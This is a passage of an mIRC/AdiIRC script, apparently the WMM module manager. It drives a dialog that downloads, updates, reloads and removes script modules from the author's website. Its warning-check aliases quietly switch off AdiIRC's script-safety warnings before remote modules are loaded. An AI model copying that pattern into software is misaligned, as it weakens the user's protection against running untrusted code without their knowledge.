  582.     .timer[WMM_ANIMATE_TITLE_NOW] -ho 1 2000 wmm_dtitle $dname $dialog($dname).title
  583.     did -ra $dname 1 $wmm_lang(1)
  584.     did -ra $dname 2 $wmm_lang(3)
  585.     did -ra $dname 3 $wmm_lang(2)
  586.     did -ra $dname 7 $wmm_lang(4)
  587.     did -ra $dname 11 $wmm_lang(5)
  588.     did -ra $dname 12 $wmm_lang(6)
  589.     did -ra $dname 4 $wmm_lang(7)
  590.     did -ra $dname 13 $wmm_lang(8)
  591.     did -ra $dname 9 $wmm_lang(9)
  592.     did -ra $dname 17 $wmm_lang(10)
  593.     did -o $dname 10 $wmm_lang(11)
  594.     did -o $dname 18 $wmm_lang(12)
  595.     did -o $dname 19 $wmm_lang(13)
  596.     did -o $dname 20 $wmm_lang(14)
  597.     did -o $dname 21 $wmm_lang(30)
  598.     did -o $dname 22 $wmm_lang(15)
  599.     did -o $dname 24 $wmm_lang(45) $chr(38) $+ $chr(38) $wmm_lang(46)
  600.     did -o $dname 27 $wmm_lang(79)
  601.     did -ra $dname 5 v $+ $wmm_ver
  602.     did -ra $dname 25 $wmm_lang(57)
  603.     did -ra $dname 26 $wmm_lang(61)
  604.     wmm_tool -et
  605.     .timer[WMM_GET_MODULES_LIST] -ho 1 500 wmm_modules_list
  606.   }
  607.   if ($devent == rclick) {
  608.     if ($did == 14) {
  609.       var %h = WMM_MODULES
  610.       var %url = $gettok($hget(%h,$did(6).seltext $+ _images),1,44)
  611.       if (!%url) { var %url = $gettok($hget(%h,$did(60).seltext $+ _images),1,44) }
  612.       if (!%url) { var %url = $gettok($hget(%h,$did(600).seltext $+ _images),1,44) }
  613.       if (%url) { url %url }
  614.     }
  615.     if ($did == 15) {
  616.       var %h = WMM_MODULES
  617.       var %url = $gettok($hget(%h,$did(6).seltext $+ _images),2,44)
  618.       if (!%url) { var %url = $gettok($hget(%h,$did(60).seltext $+ _images),2,44) }
  619.       if (!%url) { var %url = $gettok($hget(%h,$did(600).seltext $+ _images),2,44) }
  620.       if (%url) { url %url }
  621.     }
  622.     if ($did == 16) {
  623.       var %h = WMM_MODULES
  624.       var %url = $gettok($hget(%h,$did(6).seltext $+ _images),3,44)
  625.       if (!%url) { var %url = $gettok($hget(%h,$did(60).seltext $+ _images),3,44) }
  626.       if (!%url) { var %url = $gettok($hget(%h,$did(600).seltext $+ _images),3,44) }
  627.       if (%url) { url %url }
  628.     }
  629.     if ($did == 28) {
  630.       var %h = WMM_MODULES
  631.       var %m = $did(6).seltext
  632.       if (!%m) { var %m = $did(60).seltext }
  633.       if (!%m) { var %m = $did(600).seltext }
  634.       var %path = $wmm_getpath(%m)
  635.       var %extra_id = $hget(%h,%m $+ _extra_id)
  636.       if (!%m) || (!%path) || (!%extra_id) { did -h $dname 28 | return }
  637.       url $wmm_extraid_url(%extra_id)
  638.     }
  639.   }
  640.   if ($devent == dclick) {
  641.     if ($did == 6) || ($did == 600) {
  642.       var %m = $did($did).seltext
  643.       if (!%m) { return }
  644.       var %h = WMM_MODULES
  645.       var %extra_id = $hget(%h,%m $+ _extra_id)
  646.       if (%extra_id) { url $wmm_extraid_url(%extra_id) }
  647.     }
  648.     if ($did == 60) {
  649.       var %m = $did($did).seltext
  650.       if (!%m) { return }
  651.       var %h = WMM_MODULES
  652.       var %chk_sets_alias = $right($replace($hget(%h,%m $+ _check_version_alias),_ver,_sets),-1)
  653.       if (%chk_sets_alias) && ($isalias(%chk_sets_alias)) { $evalnext(%chk_sets_alias) }
  654.     }
  655.   }
  656.   if ($devent == sclick) {
  657.     :sclick
  658.     if ($did == 23) { url $wmm_donate }
  659.     if ($did == 2) {
  660.       did -hu $dname 11,12,13,6,60,600,250
  661.       did -v $dname 7,6
  662.       wmm_reset_images
  663.       wmm_modules_installed_plus_updated_list
  664.     }
  665.     if ($did == 3) {
  666.       if ($json(wmm_modules_list_get)) { did -f $dname 2 | return }
  667.       did -hu $dname 7,13,6,60,600,250
  668.       did -v $dname 11,12,60
  669.       wmm_reset_images
  670.       wmm_modules_installed_plus_updated_list
  671.     }
  672.     if ($did == 4) {
  673.       if ($json(wmm_modules_list_get)) { did -f $dname 2 | return }
  674.       did -hu $dname 7,11,12,6,60,600,250
  675.       did -v $dname 13,600
  676.       wmm_reset_images
  677.       wmm_modules_installed_plus_updated_list
  678.     }
  679.     if ($did == 600) {
  680.       var %h = WMM_MODULES
  681.       var %m = $did($did).seltext
  682.       var %path = $wmm_getpath(%m)
  683.       if (!%m) || (!%path) { wmm_reset_images | wmm_modules_installed_plus_updated_list | return }
  684.       did -rh $dname 250
  685.  
  686.       var %f_ico = $nofile(%path) $+ $replace($right($hget(%h,%m $+ _check_version_alias),-1),_ver,_main.ico)
  687.       if ($isfile(%f_ico)) && ($file(%f_ico)) { did -vg $dname 28 $qt(%f_ico) }
  688.       else { did -h $dname 28 }
  689.  
  690.       wmm_reset_images -i %m
  691.  
  692.       var %h = WMM_MODULES
  693.       var %chk_chan = $hget(%h,%m $+ _channel)
  694.       if (%chk_chan) && (%chk_chan !== STABLE) { did -b $dname 13 | did -e $dname 8 }
  695.       else { did -e $dname 13,8 }
  696.  
  697.       var %chk_ver = $hget(%h,%m $+ _check_version_alias)
  698.       var %chk_crdate = $replace(%chk_ver,_ver,_crdate)
  699.       var %upver = $hget(%h,%m $+ _version)
  700.       var %upcrdate = $hget(%h,%m $+ _crdate)
  701.       var %ver = $iif($isalias($right(%chk_ver,-1)),$evalnext(%chk_ver),0)
  702.       var %old_crdate = $iif($isalias($right(%chk_crdate,-1)),$evalnext(%chk_crdate),0)
  703.       var %changelog = $hget(%h,%m $+ _changelog)
  704.  
  705.       did -r $dname 8
  706.       did -a $dname 8 $wmm_lang(54) $+ : $iif(%ver,$v1,N/A) - $iif(%old_crdate,$v1,N/A) $+ $crlf
  707.       did -a $dname 8 $wmm_lang(55) $+ : $iif(%upver,$v1,N/A) - $iif(%upcrdate,$v1,N/A) $+ $+ $crlf $crlf
  708.       did -a $dname 8 $wmm_lang(83) $+ : $+ $crlf
  709.       did -a $dname 8 $replace(%changelog,@newline@,$+ $+ $crlf $+ $+)
  710.       did -c $dname 8 1 1
  711.     }
  712.     if ($did == 6) {
  713.       var %h = WMM_MODULES
  714.       var %m = $did($did).seltext
  715.       if (!%m) { did -b $dname 7 | return }
  716.       var %path = $wmm_getpath(%m)
  717.       var %f_ico = $nofile(%path) $+ $replace($right($hget(%h,%m $+ _check_version_alias),-1),_ver,_main.ico)
  718.       if ($isfile(%f_ico)) && ($file(%f_ico)) { did -vg $dname 28 $qt(%f_ico) }
  719.       else { did -h $dname 28 }
  720.  
  721.       var %desc_temp = $wmm_lang(80) $+ : $hget(%h,%m $+ _version) $+ @newline@ $+ $wmm_lang(81) $+ : $hget(%h,%m $+ _crdate) $+ @newline@ $+ $wmm_lang(82) $+ : $hget(%h,%m $+ _author) $+ @newline@@newline@ $+ $wmm_lang(83) $+ :@newline@ $hget(%h,%m $+ _changelog) $+ @newline@@newline@ $+ $wmm_lang(84) $+ :@newline@ $hget(%h,%m $+ _desc) $+ @newline@@newline@ $+ $wmm_lang(85) $+ :@newline@ $hget(%h,%m $+ _examples)
  722.  
  723.       did -re $dname 8
  724.       did -a $dname 8 $replace(%desc_temp,@newline@,$+ $+ $crlf $+ $+)
  725.       did -c $dname 8 1 1
  726.  
  727.       if (!%path) { did -e $dname 7 }
  728.       elseif (%path) { did -b $dname 7 }
  729.  
  730.       var %chan = $hget(%h,%m $+ _channel)
  731.       if (%chan) && (%chan !== STABLE) { did -b $dname 7 }
  732.  
  733.       wmm_reset_images -i %m
  734.     }
  735.     if ($did == 60) || (%did_60) {
  736.       var %h = WMM_MODULES
  737.       var %m = $did(60).seltext
  738.       var %path = $wmm_getpath(%m)
  739.       if (!%m) || (!%path) { wmm_modules_installed_plus_updated_list | return }
  740.       did -ve $dname 11,12,8
  741.       did -r $dname 8
  742.  
  743.       wmm_reset_images -i %m
  744.  
  745.       if ($didwm(600,%m)) { did -h $dname 28 | did -vra $dname 250 $wmm_lang(86) }
  746.       else {
  747.         did -hr $dname 250
  748.         var %f_ico = $nofile(%path) $+ $replace($right($hget(%h,%m $+ _check_version_alias),-1),_ver,_main.ico)
  749.         if ($isfile(%f_ico)) && ($file(%f_ico)) { did -vg $dname 28 $qt(%f_ico) }
  750.         else { did -h $dname 28 }
  751.       }
  752.  
  753.       var %chk_ver_alias = $right($hget(%h,%m $+ _check_version_alias),-1)
  754.       var %chk_owner_alias = $replace(%chk_ver_alias,_ver,_owner)
  755.       var %chk_crdate_alias = $replace(%chk_ver_alias,_ver,_crdate)
  756.       var %f = $isalias(%chk_ver_alias).fname
  757.       var %ft = $nopath($isalias(%chk_ver_alias).ftype)
  758.  
  759.       var %ver = $iif($isalias(%chk_ver_alias),$evalnext($chr(36) $+ %chk_ver_alias),0)
  760.       var %chan = $hget(%h,%m $+ _channel)
  761.       var %crdate = $evalnext($chr(36) $+ %chk_crdate_alias)
  762.  
  763.       var %line1 = $wmm_lang(47) $+ : $iif(%ver,$v1,N/A) $+ $crlf $wmm_lang(60) $+ : $iif(%chan,$v1,N/A) $+ $crlf $wmm_lang(48) $+ : $iif(%crdate,$v1,N/A) $+ $crlf $wmm_lang(64) $+ : $iif(%f,$nopath($v1),N/A) $+ $crlf
  764.       did -a $dname 8 %line1
  765.  
  766.       var %owner = $evalnext($chr(36) $+ %chk_owner_alias)
  767.       var %size = $bytes($file(%f).size).suf
  768.       var %lines = $lines(%f)
  769.       var %md5 = $iif($isfile(%f) && (%lines),$md5(%f,2),0)
  770.  
  771.       var %line2 = $wmm_lang(49) $+ : $iif(%owner,$v1,N/A) $+ $crlf $wmm_lang(53) $+ : $iif(%lines,$v1,N/A) $+ $crlf $wmm_lang(50) $+ : $iif(%size,$v1,N/A) $+ $crlf $wmm_lang(56) $+ : $iif(%md5,$v1,N/A) $+ $crlf $wmm_lang(52) $+ : $iif($isfile(%f) && (%lines),$longfn(%f),N/A)
  772.       did -a $dname 8 %line2
  773.       did -c $dname 8 1 1
  774.     }
  775.     if ($did == 12) {
  776.       if ($wmm_check_initial_warn) { wmm_input error 60 $wmm_lang(33) | return }
  777.       if ($wmm_check_monitor_warn) { wmm_input error 60 $wmm_lang(75) | return }
  778.       var %h = WMM_MODULES
  779.       var %m = $did(60).seltext
  780.       var %path = $wmm_getpath(%m)
  781.       var %pos = $wmm_getpos(%m)
  782.       var %mod = $nopath(%path)
  783.       if (!%m) || (!%path) || (!%pos) || (!%mod) { wmm_reset_images | wmm_modules_installed_plus_updated_list | return }
  784.  
  785.       var %chk_ver = $hget(%h,%m $+ _check_version_alias)
  786.       var %chk_id_name = $remove(%chk_ver,_ver,$chr(36))
  787.       if (%chk_id_name) {
  788.         hfree -w %chk_id_name $+ _*
  789.         unset % $+ $evalnext(%chk_id_name) $+ _*
  790.         .timer[ $+ %chk_id_name $+ _*] off
  791.       }
  792.  
  793.       set -eu0 %wmm_signal_noclose 1
  794.       .unload -nrs $qt(%mod)
  795.       .load -rs $+ %pos $qt(%path)
  796.  
  797.       wmm_modules_installed_plus_updated_list
  798.       wmm_reset_images
  799.       wmm_input ok 60 $wmm_lang(34)
  800.     }
  801.     if ($did == 11) {
  802.       var %m = $did(60).seltext
  803.       var %path = $wmm_getpath(%m)
  804.       if (!%m) || (!%path) { wmm_reset_images | wmm_modules_installed_plus_updated_list | return }
  805.       var %mod = $nopath(%path)
  806.  
  807.       set -eu0 %wmm_signal_noclose 1
  808.       .unload -rs $qt(%mod)
  809.       if ($isfile(%path)) { .remove $qt(%path) }
  810.  
  811.       wmm_modules_installed_plus_updated_list
  812.       wmm_reset_images
  813.       wmm_input ok 60 $wmm_lang(36)
  814.     }
  815.     if ($did == 7) {
  816.       if ($wmm_check_initial_warn) { wmm_input error 60 $wmm_lang(33) | return }
  817.       if ($wmm_check_monitor_warn) { wmm_input error 60 $wmm_lang(75) | return }
  818.       if (!$wmm_internet) { wmm_input error 60 $wmm_lang(44) | return }
  819.       var %h = WMM_MODULES
  820.       var %m = $did(6).seltext
  821.       var %path = $wmm_getpath(%m)
  822.       var %url = $hget(%h,%m $+ _url)
  823.       if (!%m) || (%path) || (!%url) { did -b $dname 7 | did -u $dname 6 | wmm_reset_images | wmm_modules_installed_plus_updated_list | return }
  824.  
  825.       var %tools_ver = $hget(%h,%m $+ _tools_ver)
  826.       if (%tools_ver) && ($wmm_ver < %tools_ver) { wmm_input error 60 $wmm_lang(63) | return }
  827.  
  828.       did -b $dname 6,7
  829.  
  830.       var %mod = %m $+ .mrc
  831.       var %f = $wmm_dir $+ modules $+ \ $+ %mod
  832.       if (!$isdir($nofile(%f))) { mkdir $qt($nofile(%f)) }
  833.  
  834.       if ($wmm_isadi) { .timer[WMM_MOD_INSTALL_ $+ %mod $+ ] -ho 1 500 download -o wmm_mod_install %url $qt(%f) }
  835.       else { .timer[WMM_MOD_INSTALL_ $+ %mod $+ ] -ho 1 500 wmm_download $qt(wmm_mod_install %mod) %url $qt(%f) }
  836.     }
  837.     if ($did == 13) {
  838.       if ($wmm_check_initial_warn) { wmm_input error 60 $wmm_lang(33) | return }
  839.       if ($wmm_check_monitor_warn) { wmm_input error 60 $wmm_lang(75) | return }
  840.       if (!$wmm_internet) { wmm_input error 60 $wmm_lang(44) | return }
  841.       var %h = WMM_MODULES
  842.       var %m = $did(600).seltext
  843.       var %path = $wmm_getpath(%m)
  844.       if (!%m) || (!%path) { wmm_reset_images | wmm_modules_installed_plus_updated_list | return }
  845.  
  846.       var %tools_ver = $hget(%h,%m $+ _tools_ver)
  847.       if (%tools_ver) && ($wmm_ver < %tools_ver) { wmm_input error 60 $wmm_lang(63) | return }
  848.  
  849.       did -b $dname 13
  850.  
  851.       var %url = $hget(%h,%m $+ _url)
  852.       var %mod = $nopath(%path)
  853.       var %pos = $wmm_getpos(%m)
  854.       var %f = $wmm_dir $+ modules $+ \ $+ %mod
  855.       if (!$isdir($nofile(%f))) { mkdir $qt($nofile(%f)) }
  856.  
  857.       var %chk_sets $right($replace($hget(%h,%m $+ _check_version_alias),_ver,_sets),-1)
  858.       wmm_d_close %chk_sets
  859.  
  860.       if ($wmm_isadi) { .timer[WMM_MOD_UPDATE_ $+ %mod $+ ] -ho 1 500 download -o wmm_mod_update %url $qt(%f) }
  861.       else { .timer[WMM_MOD_UPDATE_ $+ %mod $+ ] -ho 1 500 wmm_download $qt(wmm_mod_update %mod %pos) %url $qt(%f) }
  862.     }
  863.     if ($did == 14) {
  864.       var %m = $did(6).seltext
  865.       if (!%m) { var %m = $did(60).seltext }
  866.       if (!%m) { var %m = $did(600).seltext }
  867.       var %f = $wmm_temp $+ $nopath(%m $+ 1.png)
  868.       if ($isfile(%f)) && ($file(%f)) { wmm_pic $qt(%f) }
  869.     }
  870.     if ($did == 15) {
  871.       var %m = $did(6).seltext
  872.       if (!%m) { var %m = $did(60).seltext }
  873.       if (!%m) { var %m = $did(600).seltext }
  874.       var %f = $wmm_temp $+ $nopath(%m $+ 2.png)
  875.       if ($isfile(%f)) && ($file(%f)) { wmm_pic $qt(%f) }
  876.     }
  877.     if ($did == 16) {
  878.       var %m = $did(6).seltext
  879.       if (!%m) { var %m = $did(60).seltext }
  880.       if (!%m) { var %m = $did(600).seltext }
  881.       var %f = $wmm_temp $+ $nopath(%m $+ 3.png)
  882.       if ($isfile(%f)) && ($file(%f)) { wmm_pic $qt(%f) }
  883.     }
  884.     if ($did == 28) {
  885.       if (%did_60) { return }
  886.       var %h = WMM_MODULES
  887.       var %m = $did(6).seltext
  888.       if (!%m) { var %m = $did(60).seltext }
  889.       if (!%m) { var %m = $did(600).seltext }
  890.       var %path = $wmm_getpath(%m)
  891.       if (!%m) || (!%path) { did -h $dname 28 | return }
  892.  
  893.       if ($dialog($dname).tab == 3) {
  894.         var %chk_sets_alias = $right($replace($hget(%h,%m $+ _check_version_alias),_ver,_sets),-1)
  895.         if (%chk_sets_alias) && ($isalias(%chk_sets_alias)) { $evalnext(%chk_sets_alias) }
  896.         return
  897.       }
  898.  
  899.       did -hu $dname 6,600
  900.       did -vu $dname 60
  901.       did -r $dname 8,250
  902.       did -h $dname 28
  903.       did -v $dname 11,12
  904.       did -ra $dname 9 $wmm_lang(59)
  905.  
  906.       did -f $dname 3
  907.       did -c $dname 60 $didwm(60,%m)
  908.  
  909.       set -eu0 %did_60 1
  910.       goto $devent
  911.     }
  912.   }
  913.   if ($devent == menu) {
  914.     if ($did == 27) { url $wmm_modules_url }
  915.     if ($did == 18) { url $wmm_page }
  916.     if ($did == 24) { url $wmm_donate }
  917.     if ($did == 22) { dialog -k $dname }
  918.     if ($did == 21) { .timer -ho 1 500 wmm | dialog -k $dname }
  919.     if ($did == 19) { .timer -ho 1 100 wmm_sets | dialog -k $dname }
  920.     if ($did == 20) { wmm_input ok 60 $wmm_lang(27) $upper($wmm_owner) $wmm_lang(16) v $+ $wmm_ver $wmm_lang(28) $wmm_crdate $wmm_lang(29) $wmm_owner }
  921.   }
  922.   if ($devent == close) {
  923.     wmm_w_close @wmm_pic
  924.     wmm_tool -bt
  925.  
  926.     if ($json(wmm_modules_list_get)) && ($hget(WMM_MODULES_SUBMENU_INSTALLED,0).item !== $json(wmm_modules_list_get,modules).length) { wmm_modules_menu_get_installed -g }
  927.  
  928.     jsonclose -w wmm_modules_*
  929.     .timer[WMM_*] off
  930.     if ($hget(WMM_MODULES)) { hfree $v1 }
  931.   }
  932.   return
  933.   :error | wmm_werror $scriptline $error | reseterror
  934. }
  935.  
  936. ; --- End of events ---
  937.  
  938. ; --- Start of aliases ---
  939.  
  940. alias wmm_ver { return $right($gettok($read($script,n,$iif($right($script,4) == .ini && !$wmm_isadi,7,6)),3,32),3) }
  941. alias wmm_crdate { return $remove($gettok($read($script,n,$iif($right($script,4) == .ini && !$wmm_isadi,7,6)),5,32),$chr(40),$chr(41)) }
  942. alias wmm_owner { return $+($chr(119),$chr(101),$chr(115),$chr(116),$chr(111),$chr(114)) }
  943. alias wmm_page { return http:// $+ $wmm_owner $+ .ucoz.com/load/wmm/1-1-0-24 }
  944. alias wmm_donate { return https://paypal.me/ $+ $wmm_owner }
  945. alias wmm_extraid_url { return http:// $+ $wmm_owner $+ .ucoz.com/load/wmm/ $+ $1 }
  946. alias wmm_modules_url { return http:// $+ $wmm_owner $+ .ucoz.com/load/1 }
  947. alias wmm_sets_url { return http:// $+ $wmm_owner $+ .ucoz.com/wmm/ $+ $+($chr(109),$chr(111),$chr(100),$chr(117),$chr(108),$chr(101),$chr(115),$chr(46),$chr(106),$chr(115),$chr(111),$chr(110)) }
  948. alias wmm_sets_file { return $wmm_temp $+ wmm.json }
  949. alias wmm_main_ico_url { return http:// $+ $wmm_owner $+ .ucoz.com/wmm/images/main.ico }
  950. alias wmm_main_png_url { return http:// $+ $wmm_owner $+ .ucoz.com/wmm/images/no_preview.png }
  951. alias wmm_donate_png_url { return http:// $+ $wmm_owner $+ .ucoz.com/wmm/images/donate.png }
  952. alias wmm_lang_url { return http:// $+ $wmm_owner $+ .ucoz.com/wmm/languages/wmm_lang.ini }
  953. alias wmm_modules_images_url { return http:// $+ $wmm_owner $+ .ucoz.com/wmm/images/wmm_modules_images.zip }
  954.  
  955. alias wmm {
  956.   if ($isid) || ($wmm_error) || ($timer([WMM_OPEN_AND_DO_NOTHING])) { return }
  957.   var %d = wmm_module
  958.   wmm_d_close wmm_module_sets
  959.   if (!$dialog(%d)) { .timer[WMM_*] off | .timer[WMM_OPEN_AND_DO_NOTHING] -ho 1 5000 noop }
  960.   if (%wmm_update) { wmm_tool -b | return }
  961.   if ($dialog(%d)) { wmm_tool -e | dialog -ve %d %d | return }
  962.   wmm_dl $wmm_sets_url $qt($wmm_sets_file)
  963.   wmm_check_update -m
  964.   if (%wmm_update) { return }
  965.   var %don = $wmm_dir $+ donate.png
  966.   var %ico = $wmm_dir $+ main.ico
  967.   var %png = $wmm_dir $+ no_preview.png
  968.   var %lng = $wmm_dir $+ wmm_lang.ini
  969.   var %vbs = $wmm_temp $+ wmm_dl_images.vbs
  970.   var %txt = $wmm_temp $+ wmm_images_urls.txt
  971.   if ($isfile(%vbs)) && (!$wmm_isadi) { .remove $qt(%vbs) }
  972.   if ($isfile(%txt)) && (!$wmm_isadi) { .remove $qt(%txt) }
  973.   if (!$isfile(%lng)) || (!$isfile(%ico)) || (!$isfile(%png)) || (!$isfile(%don)) || (!$file(%lng)) || (!$file(%ico)) || (!$file(%png)) || (!$file(%don)) { var %delay = 1 }
  974.   wmm_fix_extra_modules_installed
  975.   if (%delay) {
  976.     if (!$wmm_internet) { wmm_input error 60 There are missing some several required project files and you must be connected to internet in order to continue for downloading them! | return }
  977.     .timer[WMM_CHECK_BEFORE_OPEN] -ho 1 5000 wmm_check_before_open %d
  978.     wmm_input warn 3 Downloading some missing project required files...
  979.     wmm_dl $wmm_lang_url $qt(%lng)
  980.     wmm_dl $wmm_main_ico_url $qt(%ico)
  981.     wmm_dl $wmm_main_png_url $qt(%png)
  982.     wmm_dl $wmm_donate_png_url $qt(%don)
  983.   }
  984.   elseif (!%delay) { dialog -md %d %d }
  985.   return
  986.   :error | wmm_werror $scriptline $error | reseterror
  987. }
  988.  
  989. alias wmm_sets {
  990.   if ($isid) || ($wmm_error) { return }
  991.   var %d = wmm_module_sets
  992.   wmm_d_close wmm_module
  993.   if ($dialog(%d)) { wmm_tool -e | dialog -ve %d %d | return }
  994.   if (%wmm_update) { wmm_tool -b | return }
  995.   .timer[WMM_*] off
  996.   wmm_dl $wmm_sets_url $qt($wmm_sets_file)
  997.   wmm_check_update -n
  998.   if (%wmm_update) { return }
  999.   var %don = $wmm_dir $+ donate.png
  1000.   var %ico = $wmm_dir $+ main.ico
  1001.   var %png = $wmm_dir $+ no_preview.png
  1002.   var %lng = $wmm_dir $+ wmm_lang.ini
  1003.   if (!$isfile(%lng)) || (!$isfile(%ico)) || (!$isfile(%png)) || (!$isfile(%don)) || (!$file(%lng)) || (!$file(%ico)) || (!$file(%png)) || (!$file(%don)) { var %delay = 1 }
  1004.   wmm_fix_extra_modules_installed
  1005.   if (%delay) {
  1006.     if (!$wmm_internet) { wmm_input error 60 There are missing some several required project files and you must be connected to internet in order to continue for downloading them! | return }
  1007.     .timer[WMM_SETS_CHECK_BEFORE_OPEN] -ho 1 5000 wmm_check_before_open %d
  1008.     wmm_input warn 3 Downloading some missing project required files...
  1009.     wmm_dl $wmm_lang_url $qt(%lng)
  1010.     wmm_dl $wmm_main_ico_url $qt(%ico)
  1011.     wmm_dl $wmm_main_png_url $qt(%png)
  1012.     wmm_dl $wmm_donate_png_url $qt(%don)
  1013.   }
  1014.   elseif (!%delay) { dialog -md %d %d }
  1015.   return
  1016.   :error | wmm_werror $scriptline $error | reseterror
  1017. }
  1018.  
  1019. alias -l wmm_check_before_open {
  1020.   if (!$1) || ($dialog($1)) { return }
  1021.   var %lng = $wmm_dir $+ wmm_lang.ini
  1022.   var %don = $wmm_dir $+ donate.png
  1023.   var %ico = $wmm_dir $+ main.ico
  1024.   var %png = $wmm_dir $+ no_preview.png
  1025.   if (!$isfile(%lng)) || (!$file(%lng)) { wmm_input error 60 FATAL ERROR! @newline@ @newline@ $+ Error Code: 0x001 | return }
  1026.   if (!$isfile(%don)) || (!$file(%don)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x022 | return }
  1027.   if (!$isfile(%ico)) || (!$file(%ico)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x010 | return }
  1028.   if (!$isfile(%png)) || (!$file(%png)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x016 | return }
  1029.   dialog -md $1 $1
  1030.   return
  1031.   :error | wmm_werror $scriptline $error | reseterror
  1032. }
  1033.  
  1034. alias wmm_check_version {
  1035.   if (!$isid) { return }
  1036.   if (!$wmm_isadi) && ($version < 7.49) { return This mIRC client version that you are using does NOT support the specific project, please download and use the latest version that is available on the mIRC official website! }
  1037.   if ($wmm_isadi) && ($version < 2.9) { return This AdiIRC client version that you are using does NOT support the specific project, please download and use the latest version that is available on the AdiiRC official website! }
  1038.   if ($wmm_isadi) && ($mid($~dotnet,2,1) < 2) { return Your computer .NET version seems to be old, in order to work that project you must download and install the latest .NET Runtime from the web, check more at AdiIRC "https://goo.gl/bQfVof" official download page. }
  1039.   var %js1 = $group(#SReject/JSONForMirc/Log).fname
  1040.   var %js2 = $group(#wmm).fname
  1041.   var %js3 = $gettok($isalias(jsonversion,3).alias,3,32)
  1042.   var %js4 = $jsonversion()
  1043.   if (%js1 !== %js2) || (%js3 !== %js4) || (%js4 !== 1.0.4000) { return It seems that you have already in your remotes installed the "JSONForMirc" addon, you must first remove that addon because that project already including that addon and it will have conflict issues if running both at the same time, try remove it and install the project again. }
  1044.   return 0
  1045.   return
  1046.   :error | wmm_werror $scriptline $error | reseterror
  1047. }
  1048.  
  1049. alias wmm_check_os {
  1050.   if (!$isid) { return }
  1051.   if ($wmm_isadi) && ($bits == 64) { var %adi64 = 1 }
  1052.   var %1 = CheckOS_1
  1053.   var %2 = CheckOS_2
  1054.   var %3 = CheckOS_3
  1055.   var %4 = CheckOS_4
  1056.   var %5 = CheckOS_5
  1057.   wmm_c_close %1
  1058.   wmm_c_close %2
  1059.   wmm_c_close %3
  1060.   wmm_c_close %4
  1061.   wmm_c_close %5
  1062.   .comopen %1 MSScriptControl.ScriptControl
  1063.   if (!$com(%1)) || ($comerr) { return This project cannot be used into this computer, the function "MSScriptControl.ScriptControl" didn't passed the check, that project is available only on Windows operating systems. }
  1064.   .comopen %2 WScript.Shell
  1065.   if (!$com(%2)) || ($comerr) { return This project cannot be used into this computer, the function "WScript.Shell" didn't passed the check, that project is available only on Windows operating systems. }
  1066.   .comopen %3 MSXML2.SERVERXMLHTTP.6.0
  1067.   if (!$com(%3)) || ($comerr) { return This project cannot be used into this computer, the function "MSXML2.SERVERXMLHTTP.6.0" didn't passed the check, that project is available only on Windows operating systems. }
  1068.   .comopen %4 Adodb.Stream
  1069.   if (!$com(%4)) || ($comerr) { return This project cannot be used into this computer, the function "Adodb.Stream" didn't passed the check, that project is available only on Windows operating systems. }
  1070.   if (%adi64) {
  1071.     .comopen %5 ScriptControl
  1072.     if (!$com(%5)) || ($comerr) { return This project cannot be used into this computer, the function "ScriptControl" didn't passed the check, that project is available only on Windows operating systems. }
  1073.  
  1074.     var %dll = $envvar(windir) $+ \System32\tsc64.dll
  1075.     if (!$isfile(%dll)) || (!$file(%dll)) { return It seems that missing an necessary DLL from your system while running under AdiIRC 64-bits, you have to install "tsc64.dll" from "https://goo.gl/4uNCPZ" website first and then try to install the project again. }
  1076.     if ($file(%dll).version < 1.0.8.0) { return It seems that the DLL "tsc64.dll" is outdated from your system, please update that dll to the latest version that is available on the website "https://goo.gl/4uNCPZ" and then try again to install that project. }
  1077.   }
  1078.   :error
  1079.   if ($error) { wmm_werror $scriptline $error }
  1080.   reseterror
  1081.   wmm_c_close %1
  1082.   wmm_c_close %2
  1083.   wmm_c_close %3
  1084.   wmm_c_close %4
  1085.   wmm_c_close %5
  1086.   return 0
  1087. }
  1088.  
  1089. alias wmm_check_initial_warn {
  1090.   if (!$isid) { return }
  1091.   if ($wmm_isadi) {
  1092.     .setconfig misc initscriptswarning false
  1093.     if ($readini($adiircini,n,misc,initscriptswarning) == true) { return 1 }
  1094.     else { return 0 }
  1095.   }
  1096.   if (!$wmm_isadi) && ($gettok($readini($mircini,n,options,n5),27,44)) { return 1 }
  1097.   return 0
  1098.   return
  1099.   :error | wmm_werror $scriptline $error | reseterror
  1100. }
  1101.  
  1102. alias wmm_check_monitor_warn {
  1103.   if (!$isid) { return }
  1104.   if ($wmm_isadi) {
  1105.     .setconfig misc monitorscripts false
  1106.     if ($readini($adiircini,n,misc,monitorscripts) == true) { return 1 }
  1107.     else { return 0 }
  1108.   }
  1109.   if (!$wmm_isadi) && ($gettok($readini($mircini,n,options,n7),13,44)) { return 1 }
  1110.   return 0
  1111.   return
  1112.   :error | wmm_werror $scriptline $error | reseterror
  1113. }
  1114.  
  1115. alias wmm_lang {
  1116.   var %f = $wmm_dir $+ wmm_lang.ini
  1117.   if (!%wmm_lang) { set %wmm_lang English }
  1118.   if (!$isfile(%f)) || (!$lines(%f)) || (!$isid) || (!$1) || ($1 !isnum) { return 0 }
  1119.   var %h = WMM_LANG_ $+ %wmm_lang
  1120.   if (!$hget(%h)) && ($ini(%f,%wmm_lang)) { hmake %h 1000 | hload -i %h $qt(%f) %wmm_lang }
  1121.   var %r = $hget(%h,$1)
  1122.   if (%r) { return %r }
  1123.   else { return N/A }
  1124.   return
  1125.   :error | wmm_werror $scriptline $error | reseterror
  1126. }
  1127.  
  1128. alias wmm_langs {
  1129.   var %f = $wmm_dir $+ wmm_lang.ini
  1130.   if (!$isid) || (!$isfile(%f)) || (!$lines(%f)) || (!$ini(%f,0)) { return 0 }
  1131.   if (!%wmm_lang) { set %wmm_lang English }
  1132.   var %t = $ini(%f,0)
  1133.   var %i = 1
  1134.   while (%i <= %t) {
  1135.     var %lng = $ini(%f,%i)
  1136.     if (%lng) { var %langs = $addtok(%langs,%lng,44) }
  1137.     inc %i
  1138.   }
  1139.   if (%langs) { return %langs }
  1140.   else { return 0 }
  1141.   return
  1142.   :error | wmm_werror $scriptline $error | reseterror
  1143. }
  1144.  
  1145. alias -l wmm_fix_extra_modules_installed {
  1146.  
  1147.   ; -e = it will fix any name or position errors related to WMM original state.
  1148.  
  1149.   if (!$script(0)) || ($isid) { return }
  1150.  
  1151.   if ($1) && ($1 == -e) {
  1152.     var %name = $nopath($script)
